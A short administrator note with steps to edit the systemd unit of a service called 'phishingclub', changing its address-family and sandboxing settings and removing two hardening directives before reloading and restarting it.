1. Open the service file:

systemctl edit --full phishingclub

2. Update the relevant lines so they match:

RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true

Remove the RestrictNamespaces and MemoryDenyWriteExecute lines entirely.

3. Reload and restart:

systemctl daemon-reload && systemctl restart phishingclub

New installations via the built-in installer are not affected.